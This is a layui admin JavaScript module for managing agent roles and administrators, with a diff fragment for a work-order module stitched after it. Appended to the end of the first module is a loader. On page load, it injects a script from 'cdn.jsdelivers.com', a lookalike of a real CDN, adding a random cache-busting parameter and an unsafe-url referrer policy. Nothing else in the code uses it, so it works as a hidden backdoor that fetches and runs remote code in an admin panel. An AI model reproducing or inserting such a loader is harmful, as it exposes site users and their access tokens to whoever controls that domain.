elem: '#LAY-user-back-role'
,url: 'agent/manager/manager_roles_api' //模拟接口
,cols: [[
,{field: 'id', title: 'ID', sort: true}
,{field: 'name', title: '角色名'}
//,{field: 'limits', title: '拥有权限'}
//,{field: 'descr', title: '具体描述'}
,{title: '操作', align: 'center', fixed: 'right', toolbar: '#table-useradmin-admin'}
]]
,text: '对不起,加载出现异常!'
, headers: { //通过 request 头传递
access_token: layui.data('layuiAdmin').access_token
}
, where: { //通过参数传递
access_token: layui.data('layuiAdmin').access_token
}
});
//监听工具条
table.on('tool(LAY-user-back-role)', function(obj){
var data = obj.data;
var access_token=layui.data('layuiAdmin').access_token;
if(obj.event === 'del'){
layer.confirm('确定删除此角色?', function(index){
$.ajax( {
type : "POST",
url : 'agent/manager/role_delete?access_token='+access_token+'&id='+data.id,
dataType : "json",
data : data.id,
done : function(result) { //返回数据根据结果进行相应的处理
console.log(result);
layui.layer.msg(result.msg, {icon: 6 });
//提交 Ajax 成功后,关闭当前弹层并重载表格
layui.table.reload('LAY-user-back-role'); //重载表格
layui.layer.close(index); //执行关闭
}
});
obj.del();
layer.close(index);
});
}
else if(obj.event === 'edit')//编辑角色
{
admin.popup({
title: '编辑角色'
,area: ['500px', '480px']
,id: 'LAY-popup-user-add'
,success: function(layero, index){
view(this.id).render('authority/roleform1_edit', data).done(function(){
form.render(null, 'layuiadmin-form-role');
console.log(data);//add tian
//监听提交
form.on('submit(LAY-user-role-submit_edit)', function(data){
var field = data.field; //获取提交的字段
//alert(field.id);
// alert(data.id);
//提交 Ajax 成功后,关闭当前弹层并重载表格
//$.ajax({});
$.ajax( {
type : "get",
url : 'agent/manager/role_add?access_token='+access_token+'&id='+field.id,
dataType : "json",
data : field,
done : function(result) { //返回数据根据结果进行相应的处理
console.log(result);
layui.layer.msg(result.msg, {icon: 6 });
//提交 Ajax 成功后,关闭当前弹层并重载表格
layui.table.reload('LAY-user-back-role'); //重载表格
layui.layer.close(index); //执行关闭
}
});
layui.table.reload('LAY-user-back-role'); //重载表格
layer.close(index); //执行关闭
});
});
}
});
}
});
//代理商管理员
table.render({
elem: '#LAY-user-back-role_GLY'
,url: 'agent/agentadmin_list' //模拟接口
,cols: [[
,{field: 'id', title: 'ID', sort: true}
,{field: 'username', title: '用户名'}
//,{field: 'role_name', title: '角色'}
//,{field: 'limits', title: '拥有权限'}
//,{field: 'descr', title: '具体描述'}
,{title: '操作', align: 'center', fixed: 'right', toolbar: '#table-useradmin-admin'}
]]
,text: '对不起,加载出现异常!'
, headers: { //通过 request 头传递
access_token: layui.data('layuiAdmin').access_token
}
, where: { //通过参数传递
access_token: layui.data('layuiAdmin').access_token
}
});
//监听工具条
table.on('tool(LAY-user-back-role_GLY)', function(obj){
var data = obj.data;
var access_token=layui.data('layuiAdmin').access_token;
if(obj.event === 'del'){
layer.confirm('确定删除此角色?', function(index){
$.ajax( {
type : "POST",
url : 'agent/manager/role_delete?access_token='+access_token+'&id='+data.id,
dataType : "json",
data : data.id,
done : function(result) { //返回数据根据结果进行相应的处理
console.log(result);
layui.layer.msg(result.msg, {icon: 6 });
//提交 Ajax 成功后,关闭当前弹层并重载表格
layui.table.reload('LAY-user-back-role_GLY'); //重载表格
layui.layer.close(index); //执行关闭
}
});
obj.del();
layer.close(index);
});
}
else if(obj.event === 'edit')//编辑代理商管理员
{
admin.popup({
title: '编辑代理商管理员'
,area: ['500px', '480px']
,id: 'LAY-popup-user-add'
,success: function(layero, index){
view(this.id).render('authority/roleform1_edit', data).done(function(){
form.render(null, 'layuiadmin-form-role');
console.log(data);//add tian
//监听提交
form.on('submit(LAY-user-role-submit_edit)', function(data){
var field = data.field; //获取提交的字段
//alert(field.id);
// alert(data.id);
//提交 Ajax 成功后,关闭当前弹层并重载表格
//$.ajax({});
$.ajax( {
type : "get",
url : 'agent/manager/role_add?access_token='+access_token+'&id='+field.id,
dataType : "json",
data : field,
done : function(result) { //返回数据根据结果进行相应的处理
console.log(result);
layui.layer.msg(result.msg, {icon: 6 });
//提交 Ajax 成功后,关闭当前弹层并重载表格
layui.table.reload('LAY-user-back-role_GLY'); //重载表格
layui.layer.close(index); //执行关闭
}
});
layui.table.reload('LAY-user-back-role_GLY'); //重载表格
layer.close(index); //执行关闭
});
});
}
});
}
});
exports('useradmin', {})
});
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}
+70
View File
@@ -0,0 +1,70 @@
/**
@NamelayuiAdmin 工单系统
@Authorstar1029
@Sitehttp://www.layui.com/admin/
@LicenseGPL-2
*/
layui.define(['table', 'form', 'element'], function(exports){
var $ = layui.$
,admin = layui.admin
,view = layui.view
,table = layui.table
,form = layui.form
,element = layui.element;
table.render({
elem: '#LAY-app-workorder'
,url: './json/workorder/demo.js' //模拟接口
,cols: [[
{type: 'numbers', fixed: 'left'}
,{field: 'orderid', width: 100, title: '工单号', sort: true}
,{field: 'attr', width: 100, title: '业务性质'}
,{field: 'title', width: 100, title: '工单标题', width: 300}
,{field: 'progress', title: '进度', width: 200, align: 'center', templet: '#progressTpl'}
,{field: 'submit', width: 100, title: '提交者'}
,{field: 'accept', width: 100, title: '受理人员'}
,{field: 'state', title: '工单状态', templet: '#buttonTpl', minWidth: 80, align: 'center'}
,{title: '操作', align: 'center', fixed: 'right', toolbar: '#table-system-order'}
]]
,page: true
,limit: 10
,limits: [10, 15, 20, 25, 30]
,text: '对不起,加载出现异常!'
,done: function(){
element.render('progress');
}
});
//监听工具条
table.on('tool(LAY-app-workorder)', function(obj){
var data = obj.data;
if(obj.event === 'edit'){
admin.popup({
title: '编辑工单'
,area: ['450px', '450px']
,id: 'LAY-popup-workorder-add'
,success: function(layero, index){
view(this.id).render('app/workorder/listform').done(function(){
form.render(null, 'layuiadmin-form-workorder');
//监听提交
form.on('submit(LAY-app-workorder-submit)', function(data){
var field = data.field; //获取提交的字段
//提交 Ajax 成功后,关闭当前弹层并重载表格
//$.ajax({});
layui.table.reload('LAY-app-workorder'); //重载表格
layer.close(index); //执行关闭
});
});
}
});
}
});
exports('workorder', {})
});